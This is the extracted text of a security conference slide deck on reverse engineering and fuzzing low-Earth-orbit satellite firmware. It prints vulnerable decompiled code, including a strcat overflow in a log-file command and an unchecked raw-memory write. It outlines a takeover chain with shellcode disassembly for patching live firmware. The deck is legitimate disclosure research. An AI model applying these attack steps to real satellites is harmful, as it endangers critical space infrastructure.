Reverse Engineering and Fuzzing Low Earth Orbit Satellites
Johannes Willbold & Tobias Scharnowski
@scepticctf
@jwillbold
$whoami
$whoami
44th IEEE Symposium on Security and Privacy (S&P)
Distinguished Paper Award
Firmware Attacks
System Analysis
Security Analysis
Live Demo
MEO
2k - 35k km
LEO
160 - 2k km
GEO
35786 km
34 cm
10 cm
3U CubeSat
Space Segment
?
?
Payload
Bus
?
COM
Payload
CDHS
EPS
ADCS
COM
Payload
CDHS
Telecommand (TC)
Telemetry (TM)
EPS
ADCS
COM
PDHS
CDHS
TC / TM Traffic
EPS
ADCS
PLCOM
Payload Traffic
PDHS
PLCOM
COM
CDHS
Bus
PDHS
PLCOM
COM
CDHS
Bus
COM
CDHS
Bus
COM
CDHS
Bus
COM
CDHS
Bus
Experimenter
Operated by ESA
Open for Research
Experimenter
Peripherals
S-/X-Band, SDR, Optical Rx., Camera, ...
Launched
December 2019
Payload Plattform
ARM-Based Linux + FPGA
Operated by ESA
Open for Research
UHF
I2C
Live Storage
Disk Storage
S-Band
CSP
CAN
SEPP
Memory Actions
SPP
Parsing
TM Sender
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
TM Sender
SEPP
TC Buffer
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
CAN Buffer
TC Buffer
Ring Buffer
TM Queue
SPP
CAN
S-Band
SEPP
UHF
I2C
CSP
void csp_i2c_rx(i2c_frame_t *frame,void *pxTaskWoken) {
// ...
if (frame) {
frame_len = frame->len - 4;
if (frame_len > 0xfc) {
csp_if_i2c.frame = csp_if_i2c.frame + 1;
csp_buffer_free_isr(frame);
return;
}
frame->len = frame_len;
i2c_rx_csp_packet = (csp_packet_t *) frame;
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 |
frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);
}
return;
}
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
uint32_t csp_ntoh32(uint32_t n32) {
return n32;
}
/ libcsp
Source: https://en.wikipedia.org/wiki/Cubesat_Space_Protocol
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
TCP/IP Oriented Design
Security Issues
memcmp
to compare the digestconst uint32_t nonce = (uint32_t)rand();
Authors: Issues fixed in libcsp v2
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
Security Features
int csp_route_security_chek(...) {
if (packet->id.flags & CSP_FXTEA) {
csp_log_error("Received XTEA encrypted packet, but CSP was compiled without XTEA support. Discarding packet");
}
// ...
if (packet->id.flags & CSP_FHMAC) {
csp_log_error("Received packet with HMAC, but CSP was compiled without HMAC support. Discarding packet");
}
// ...
}
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
if (cspServerInitialised == false) {
cspSocket = csp_socket(0);
if (!cspSocket) { return; }
ret = csp_bind(cspSocket, CSP_ANY_PORT);
if (!ret) { return; }
ret = csp_listen(cspSocket, 10);
if (!ret) { return; }
cspServerInitialised = true;
}
cspServerConn = csp_accept(cspSocket, 10);
if (cspServerConn) {
while (request_packet = csp_read(cspServerConn,0), packet) {
dest_port = csp_conn_dport(cspServerConn);
switch(dest_port) {
// ...
}
}
csp_close(cspServerConn);
}
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
Socket API + TCP-based ports
socket
, bind
, listen,
accept
Default Services
switch(csp_conn_dport(conn)) {
case 0: // Network information handlers
csp_cmp_handler(conn, packet);
break;
case 1: // Ping
do_csp_debug(2,"SERVICE: Ping received");
break;
case 2: // OS Tasklist
csp_sys_tasklist(str, size);
// ...
csp_send(conn, packet, 0);
break;
case 3: // Remaining Memory
val = csp_sys_memfree();
// ...
csp_send(conn, packet, 0);
break;
case 4: // System Reboot
if(packet->data[0..4] == BYTESEQ) { csp_sys_reboot(); }
// ...
}
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
dest_port = csp_conn_dport(conn);
switch(dest_port) {
case 0x00 - 0x06:
csp_service_handler(conn, pkt);
case 0x07:
rparam_service_handler(conn, pkt);
case 0x10:
CSP_ProcessReceivedSPP(pkt);
}
Central Services
// csp_listen, _bind(0x14), _accept
switch(val) {
case 0x1: // Set ADCS Mode
memcpy(packet->data + 2, _adcs_mode, 7);
packet->data[1] = '\0';
packet->length = 0;
goto send_packet_set_len;
case 0x1c:
gs_adcs_gps_on();
break;
case '\x14': // Set ADCS Wheel position
gs_adcs_wheels_diag(packet->data[2],&val0,&val1);
packet->data[1] = '\0';
h16 = util_hton16(val0);
packet->data[5] = (char)(h16 & 0xffff);
packet->data[4] = (char)((h16 & 0xffff) >> 8);
h16 = util_hton16(val1);
packet->data[7] = (char)(h16 & 0xffff);
packet->data[6] = (char)((h16 & 0xffff) >> 8);
packet->length = 0;
goto send_packet_set_len;
}
ADCS Server
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
send_packet_set_len:
*(char *)((int)&packet->length + 1) = len;
send_packet:
ret = csp_send(conn,packet,0);
if (!ret) goto failed;;
Sending Telemtry
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
Live Storage
Disk Storage
S-Band
CAN
SEPP
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
TM Sender
SEPP
CAN Buffer
TC Buffer
Ring Buffer
TM Queue
SPP
CAN
S-Band
SEPP
UHF
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
UHF
I2C
CSP
void can_rx_task_gmv(void) {
// ...
if(frame_type == START) {
// Allocate packet
if (curr_buf->packet == (CFP_Packet_t *)0x0) {
tmp = csp_buffer_size();
packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
curr_buf->packet = packet;
} else { ... }
curr_buf->rx_count = 0;
curr_buf->remain = frame_id >> 0xd & 0x1f;
// Copy to Global Buffer
memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
// ...
}
else if(frame_type == CONTINUE) {
can_remain = frame_id >> 0xd & 0x1f;
// Check continous ID
if (can_remain == curr_buf->remain - 1) {
curr_buf->remain = can_remain;
curr_buf->rx_count = curr_buf->rx_count + (ushort)can_frame.dlc;
// Copy to Global Buffer
memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size,
&can_frame.data, can_frame.dlc);
datablockGlobalRx.Size = (uint)can_frame.dlc + datablockGlobalRx.Size;
// ...
}
}
else if(frame_type == END) {
can_remain = frame_id >> 0xd & 0x1f;
if (can_remain != curr_buf->remain - 1) {
memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size,
&can_frame.data, can_frame.dlc);
datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
memcpy(datablockGlobalRxFinal.Data, datablockGlobalRx.Data,
datablockGlobalRx.Size);
datablockGlobalRxFinal.Size = datablockGlobalRx.Size;
datablockGlobalFlag = 1;
CAN_AddPacketToCanStore(&datablockGlobalRxFinal);
// ...
}
}
}
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
Space Packet Protocol
IP
Sync. and Channel Coding Sublayer
Message Abstraction
...
IPSec
TM Space Link Protocol
TC Space Link Protocol
AOS Space Data Link P.
Proximity-1
Data Link Lay.
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
Space Packet Protocol
IP
Sync. and Channel Coding Sublayer
Message Abstraction
...
IPSec
TM Space Link Protocol
TC Space Link Protocol
AOS Space Data Link P.
Proximity-1
Data Link Lay.
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
Packet Secondary Header
User Data Field
Packet Data Field
6 Bytes
1 - 65536 Bytes
Packet
Primary Header
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
Packet Identification
Packet Sequence Control
1 bit
11 bits
3 bits
2 bits
14 bits
16 bits
1 bit
Packet Version Number
Packet Data Length
Packet Type
Sec. Header Flag
App. Process ID
Sequen.
Flag
Sequen.
Count
void TCTA_Cycle(void) {
TCMA_CleanTCBuffers();
TCMA_ReadCommand();
TCMA_VerifyCommand();
TCMA_ExecuteCommand();
return;
}
int TCMA_ReadCommand(void) {
packet = gRawPacketBuffer;
ret = COMTT_GetReceivedTCPacket(&packet,0xff,&source_channel);
if (ret == SUCCESS) {
CKSM_ComputeCRC(packet, &offset);
// ...
do {
currentState = &gTelecommandsInProcess[i].currentState;
if(*currentState == EMPTY) {
*currentState = READING;
ret = SPP_ReadSpacePacket(packet, packet.Size,
&gTelecommandsInProcess[i].telecommand)
if(ret == SUCCESS) {
// Read and set more fields ...
*currentState = READ;
i = 0x14;
} else {
*currentState = REJECTED;
}
}
} while (i < 0x14);
}
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
https://en.wikipedia.org/wiki/Message_Abstraction_Layer
if (serviceArea == 0x20001) {
// ...
if ((operation & 0xffffff00) == 0x18100) { PUBSUB_MonitorEvent(msg); }
} else if (serviceArea == 0x40001) {
// ...
if ((operation & 0xffffff00) == 0x18100) { SUBMIT_SubmitAction(msg); }
} else if (serviceArea == 0x4a000f) {
// ...
operation = operation & 0xffffff00;
if (operation == 0x10100) { SUBMIT_CreateFile(msg); }
if (operation == 0x20100) { SUBMIT_RemoveFile(msg); }
if (operation == 0x30100) { REQUEST_WriteFile(msg); }
if (operation == 0x50100) { PROGRESS_ReadFile(msg); }
}
// ...
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
void SUBMIT_CreateFile(MAL_Message_t *pMessage) {
msg = (pMessage->body).data;
ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
if(ret == SUCCESS) {
ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
if(ret == SUCCESS) {
// Inform about Acceptance
COMActivityTracking_PublishAcceptanceEvent(...);
}
}
ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
if(ret == SUCCESS) {
ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
if(ret == SUCCESS) {
strcpy(full_filename,"/flash/");
strncpy(full_filename + 7,filename.character, filename.length);
full_filename[filename.length + 7] = 0;
file_handle = fopen(full_filename,"r");
// ...
MAL_WriteUInteger(...);
MAL_WriteBoolean(...);
MOSManager_SendMessage(&outputMessage_SUBMIT_CreateFile);
}
}
}
CAN
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
CAN Buffer
TC Buffer
Live Storage
Disk Storage
S-Band
CAN
SEPP
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
TM Sender
SEPP
CAN Buffer
TC Buffer
Ring Buffer
TM Queue
SPP
CAN
S-Band
SEPP
UHF
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
UHF
I2C
CSP
Live Storage
Disk Storage
TM Sender
Ring Buffer
TM Queue
SPP
CAN
void MOSManager_SendPacket(SPP_Packet_t *pPacket) {
ret = SPP_GetPacketType(pPacket, &packet_type);
if (ret == SUCCESS) {
if (packet_type == SPP_PACKETTYPE_TC) {
tc_routing = pPacket->primaryHeader.packetID | pPacket->primaryHeader.packetSC;
}
else {
tc_routing = (pPacket->secondaryHeader).areaVersion | /* ... */;
}
if (tc_routing == /* ... */) {
TMPK_CreatePacket(pPacket,&tmpPacket);
CAN_SendFrameToSEPP(&tmpPacket,0);
}
else {
SVTM_SendPacket(pPacket);
}
}
return;
}
Live Storage
Disk Storage
TM Sender
Ring Buffer
TM Queue
SPP
CAN
void SVTM_SendPacket(SPP_Packet_t *packet) {
TMMN_SendPacket(packet);
return;
}
void TMMN_SendPacket(SPP_Packet_t *packet) {
SSOS_LockMutex(tmmn_MutexId);
// ...
if (gSendPackets != '\x01') {
TMPS_StopPSPackets();
}
if ((packet->route == ROUTE_UHF) || (gSendPackets == '\x01')) {
TMLI_AddPacketToLiveStore(packet);
}
else {
TMPS_AddPacketToPacketStore(packet);
}
SSOS_UnlockMutex(tmmn_MutexId);
return;
}
UHF
I2C
Live Storage
Disk Storage
S-Band
CSP
CAN
SEPP
Memory Actions
SPP
Parsing
TM Sender
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
TM Sender
SEPP
TC Buffer
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
CAN Buffer
TC Buffer
Ring Buffer
TM Queue
SPP
CAN
S-Band
SEPP
UHF
I2C
CSP
Live Storage
Disk Storage
S-Band
CAN
SEPP
Memory Actions
SPP
Parsing
Verifify
Execute
File Actions
TM Instructions
Device Actions
MAL
Time Managem.
Orbital Position
TM Sender
SEPP
CAN Buffer
TC Buffer
Ring Buffer
TM Queue
SPP
CAN
S-Band
SEPP
UHF / CSP
UHF / CSP
S-Band + SEPP / SPP
?
UHF / CSP
Used by Operators
Specific GS Location
10-20 mins
S-Band + SEPP / SPP
Used by Payload & Experimentors
Unknown Location
?
Unknown Time
Manual Vulnerability Analysis
Automated Fuzz Testing
1
2
3
4
Bypass COM Protection
Dangerous / Vulnerable TC
Hijack Bus Control Flow
Full Bus Privileges
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
int csp_route_security_chek(...) {
if (packet->id.flags & CSP_FXTEA) {
csp_log_error("Received XTEA encrypted packet, but CSP was compiled without XTEA support. Discarding packet");
}
// ...
if (packet->id.flags & CSP_FHMAC) {
csp_log_error("Received packet with HMAC, but CSP was compiled without HMAC support. Discarding packet");
}
// ...
}
int sch_handler_set_raw_memory(scheduler_cmd_t* pCmd) {
raw_mem_access_cmd_t* pAddr = pCmd−>pCmdArgs;
char* pWriteData;
if (pAddr) {
if (g_sch_exec_mode != 1 ) {
/* exception and return */
}
char* pWriteData = &pAddr−>start_of_data_buf;
if (pAddr−>filesystem_target) {
// [...]
} else {
memcpy(pAddr−>targetAddr,
&pAddr−>start_of_data_buf,
pAddr−>writeLength);
}
}
// ...
}
memcpy
TCConfig Changes
Patching
Debugging
31st USENIX Security Symposium (USENIX Security'22)
1st Workshop on the Security of Space and Satellite Systems (SpaceSec'23)
Distinguished Artifact Award
UHF / CSP
S-Band + SEPP / SPP
Reversing the TC/TM Pipeline
New Satellite-Specific Protocols
UHF / CSP
S-Band + SEPP / SPP
Reversing the TC/TM Pipeline
New Satellite-Specific Protocols
Classic Fuzzing Roadblocks
Integrity Checks
?
Redundancies
...
...
Numerous
Peripherals
Firmware
Analysis
Bugs
Symbolic Execution
MMIO Access Modeling
Re-Hosting
Fuzzing
memory_map:
text:
base_addr: 0x8000000
file: fw.bin
permissions: r-x
size: 0x100000
ram:
base_addr: 0x20000000
permissions: rw-
size: 0x100000
mmio:
base_addr: 0x40000000
permissions: rw-
size: 0x20000000
interrupt_triggers:
trigger_on_idle:
addr: Scheduler::idle
fuzz_mode: fuzzed
Memory Mappings
Configuration
Processor Interrupts
0x00000000
0xD0080000
0xf0d08000
.text
.data
console_init();
board_init();
init_can(1);
// ...
log_csp_init();
csp_buffer_init(100,0x28a);
csp_set_hostname("OBC");
csp_set_model("A3200");
// ...
csp_kiss_init(&csp_if_kiss,&csp_kiss_handle,kiss_putc_f,kiss_discard_f,"KISS");
usart_set_callback(4,usart_csp_callback);
// ...
i2c_init_master(1,'\n',0x96);
csp_i2c_init('\x01',0,400);
// ...
init_adcs();
// ...
spn_fl512s_init(cs);
vfs_init(&part_table,1);
uffs_RegisterMountTable(&flash_table);
uffs_Mount("/flash/");
uffs_InitFileSystemObjects();
// ...
console_init();
board_init();
init_can(1);
// ...
log_csp_init();
csp_buffer_init(100,0x28a);
csp_set_hostname("OBC");
csp_set_model("A3200");
// ...
csp_kiss_init(&csp_if_kiss,&csp_kiss_handle,kiss_putc_f,kiss_discard_f,"KISS");
usart_set_callback(4,usart_csp_callback);
// ...
i2c_init_master(1,'\n',0x96);
csp_i2c_init('\x01',0,400);
// ...
init_adcs();
// ...
spn_fl512s_init(cs);
vfs_init(&part_table,1);
uffs_RegisterMountTable(&flash_table);
uffs_Mount("/flash/");
uffs_InitFileSystemObjects();
// ...
# Enable Fuzzware boot snapshots
boot:
# Need to pass
required:
- RODOS::Scheduler::idle
# Want to reach
target: RODOS::IdleThread::run
handlers:
# Output functions
RODOS::xprintf:
# Sleeps
RODOS::pdhSPISlave::waitOnTransferReady:
exit_at:
assert_failed:
mmio_models:
constant:
# Always avoid infinite loop
SetSysClock_check:
pc: SetSysClock + 0x15e
addr: 0x40023C00
val: 2
Configuration
Skip sleeps / output
Exit early in error case
Eliminate fuzzer decisions
<Missing Error Handling into index OOB>
void ProcessPackets() {
uint32_t handlerID = 137; // Last handler if no other selected
for (uint16_t var = 0; var < numPackets; ++var) {
switch(packets[var].idMajor) {
case HND_TYPE_1: handlerID = idMajor1; break;
case HND_TYPE_2: handlerID = idMajor2; break;
default: break; }
switch(packets[var].idMinor) {
case 25 ... 49: handlerID += offsetMinor1; break;
case 549 ... 599: handlerID += offsetMinor2; break;
default: break; }
HandlerArray[handlerID].send (/* ... */);
}
}
void ProcessPacket() {
uint32_t handlerID = 137; // Last handler if no other selected
for (uint16_t var = 0; var < numPackets; ++var) {
switch(packets[var].idMajor) {
case HND_TYPE_1: handlerID = idMajor1; break;
case HND_TYPE_2: handlerID = idMajor2; break;
default: break; }
switch(packets[var].idMinor) {
case 25 ... 49: handlerID += offsetMinor1; break;
case 549 ... 599: handlerID += offsetMinor2; break;
default: break; }
HandlerArray[handlerID].send (/* ... */);
}
}
RODOS uses the priority ceiling protocol [15] to lock
access to certain shared resources. This means that inside the
critical section, the scheduling priority of the active thread
is set to the maximum value and no other thread can be
scheduled. One resource using this protocol is a synchronized
FIFO for sending messages from the radio uplink thread to
the telemetry thread. While reading data from the FIFO, the
priority ceiling is activated. If no data is available, the reader
will be suspended and yields back to the scheduler. Before this,
a handle to the reader is saved in the FIFO object. At this time,
the reader has entered a critical section. The logic of the reader
thus assumes that the handle may not be modified by another
thread. However, this assumption is broken as the reader is now
suspended, such that it can no longer be scheduled. Instead,
the writer will be scheduled and be able to access the shared
FIFO object which is supposed to be protected by the ceiling
protocol. Every time the writer puts data into the FIFO, it
wakes up the reader with the handle from the FIFO object.
The writer checks the handle not to be null before using it.
However, as the check which the writer assumes to be guarded
by priority ceiling is actually not guarded, a race condition
occurs on this check. Now, the context switch may occur in
the writer after checking the handle but before using it. Next,
the reader sets the handle to null because it no longer blocks on
the FIFO. Once the writer gets scheduled again, it will use the
now invalid handle and cause a null pointer to dereference.
While the root cause of this bug is improper usage of the
priority ceiling protocol, it manifests in a race condition.
Paper Description:
Time of Check / Time of Use (TOCTOU) Race Condition due to Priority Ceiling Misuse
void syncGet(Type &val) {
PRIO_CEIL();
FIFO->get(val);
suspendedReader = NULL;
PRIO_CEIL_END();
}
void syncPut(const Type &val) {
FIFO->put(val);
{
PRIO_CEIL();
if(suspendedReader)
// Check passed
suspendedReader->resume();
PRIO_CEIL_END();
}
}
1.1 Soft Lock
1.2 Empty FIFO: Reschedule
2.1 Add to FIFO
2.2 Soft Lock (2)
2.3 Add to FIFO
Interrupt!
Issue: Both functions now have the same prio (CEIL)!
Race condition:
Soft lock != Hard lock
Should not yield in Prio Ceiling
extern char _estack; // see stm32_flash.ld
extern char _Min_Stack_Size; // see stm32_flash.ld
caddr_t _sbrk(int incr) {
static char * heap_end;
char * prev_heap_end = heap_end;
//if (heap_end + incr > stack_ptr) {
if (heap_end + incr > &_estack-_Min_Stack_Size)
abort();
heap_end += incr;
return (caddr_t) prev_heap_end;
}
Inspection Debugging
Memory Protections
Deterministic
Replay
Delayed
Crash
Race
Condition
NULL Ptr
Deref
void task_adcs_servr() {
char log_file_name [32];
csp_listen(socket, 10);
csp_bind(socket, port);
do {
do {
conn = csp_accept(socket, 0xff);
} while (do_wait_for_conn);
packet = csp_read(conn, 10);
if (packet) {
packet_data = packet->data;
switch(*packet_data) {
// [...]
case SET_LOGFILE: {
packet_data = packet->data + 0xf;
log_file_name[0] = '\0';
strcat(log_file_name,packet_data);
// ...
}
}
}
}
}
ADCS Server
Cubesat Space Protocol (CSP)
Message Abstraction Layer (MAL)
S-Band
Space Packet Protocol (SPP)
PUBSUB_MonitorEvent
SUBMIT_SetPowerState
INVOKE_GetGPSData
...
PROGRESS_GetSummary
Custom Byte Parsing
ADCS Server
...
UHF
Cubesat Space Protocol (CSP)
Parameter DB
CSP => SPP
1
2
3
4
Hijack Control Flow
Patch Live Firmware
Add "Password" to TC Stack
???
5
Profit
1
Hijack Control Flow
void init_adcs(void) {
gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);
usart_init(1,32000000,0x2580);
// ...
cmd_adcs_setup();
adcs_node_set(1,0x14);
xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);
xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);
return;
}
void task_adcs_servr() {
// ...
do {
// ...
packet = csp_read(conn, 10);
if (packet) {
packet_data = packet->data;
switch(*packet_data) {
// [...]
case SET_LOGFILE: {
packet_data = packet->data + 0xf;
log_file_name[0] = '\0';
strcat(log_file_name,packet_data);
// ...
}
}
}
}
}
1
Hijack Control Flow
void GS_ADCS_Log_Start(char *filename, void *pkt_data, uint param_3) {
char sprintf_buf [60];
// ...
__n = sprintf(sprintf_buf,"%s\n%7.6f\n%3.1f\n%u%u%u%u%u\n", filename, ...);
// ...
fd = fopen(filename, "wb");
// ...
fwrite(&data, 1, __n, fd);
}
case SET_LOGFILE: {
packet_data = packet->data + 0xf;
log_file_name[0] = '\0';
strcat(log_file_name,packet_data);
adcs_logdata._20_4_ = csp_hton32( packet->data[...] | ... );
adcs_logdata._24_4_ = csp_hton32( packet->data[...] | ... );
adcs_logdata[28] = packet->data[10];
adcs_logdata[29] = packet->data[0xb];
// ...
adcs_get_jdate();
GS_ADCS_Log_Start(log_file_name, packet_data, pcVar7)
}
1
Hijack Control Flow
I2C
CSP
TM Sender
ADCS Server
CSP -> SPP
Parameter DB
CSP Handlers
Device Cmds.
TC Buffer
I2C
CSP
20 TC Buffers
...
2
Patch Live Firmware
d140fcc7: fc 1b d0 05 movh r11,0xd005
d140fccb: e0 2b df fe sub r11,57342
d140fccf: fc 1c d0 0b movh r12,0xd00b
d140fcd3: e0 2c d2 fc sub r12,54012
d140fcd7: 04 52 eor r2,r2
d140fcd9: fe c2 ff e6 sub r2,pc,-26
d140fcdd: fc 13 d0 0c movh r3,0xd00c
d140fce1: e0 23 14 88 sub r3,5256
d140fce5: 31 e5 mov r5,30
d140fce7 <loop>:
d140fce7: 05 34 ld.ub r4,r2++
d140fce9: 06 c4 st.b r3++,r4
d140fceb: 20 15 sub r5,1
d140fced: 58 05 cp.w r5,0
d140fcef: cf c1 brne d140fce6 <main+0x1f>
d140fcf1: 5d 1b icall r11
3
Add "Password"
// ...
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 |
frame->data[0] << 0x18 | frame->data[2] << 8);
frame->data[3] = (uint8_t)h32;
frame->data[0] = (uint8_t)(h32 >> 0x18);
frame->data[1] = (uint8_t)(h32 >> 0x10);
frame->data[2] = (uint8_t)(h32 >> 8);
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);
i2c_rx_csp_packet = (csp_packet_t *)frame;
*(uint *)frame->data = *(uint *)frame->data ^ 0xdeadbeef;
csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);
QEMU
AVR32
OBSW
Simulation Agent
Sensors
UHF
TC Handlers
Telecommand
Telemtry
TCP
TCP
Flight Manuvers
Sensor Values
How to add a new architecture to QEMU - Part 1-4 |
QEMU
AVR32
$> ./access-satellite.
[*] Uploading TC ...
[*] Deploying payload ...
[*] Payload written to flash ...
[*] Rebooting ...
[*] $$$
Firmware Attacks on Satellites are a thing
Common Sat Protocols lack Security
Security by Obscurity
Complex TC/TM Pipeline
Uncovered Range of Vulnerabilities
Missing State-of-the-Art Defenses
Satellite Fuzzing Hurdles
Firmware Rehosting for Parallel Execution
Johannes Willbold & Tobias Scharnowski
@jwillbold
> Houston, we have a Problem @ Black Hat USA '23, Las Vegas, USA
[Attribution] Icons: Colored Satellite: Space icons created by Freepik - Flaticon
@scepticctf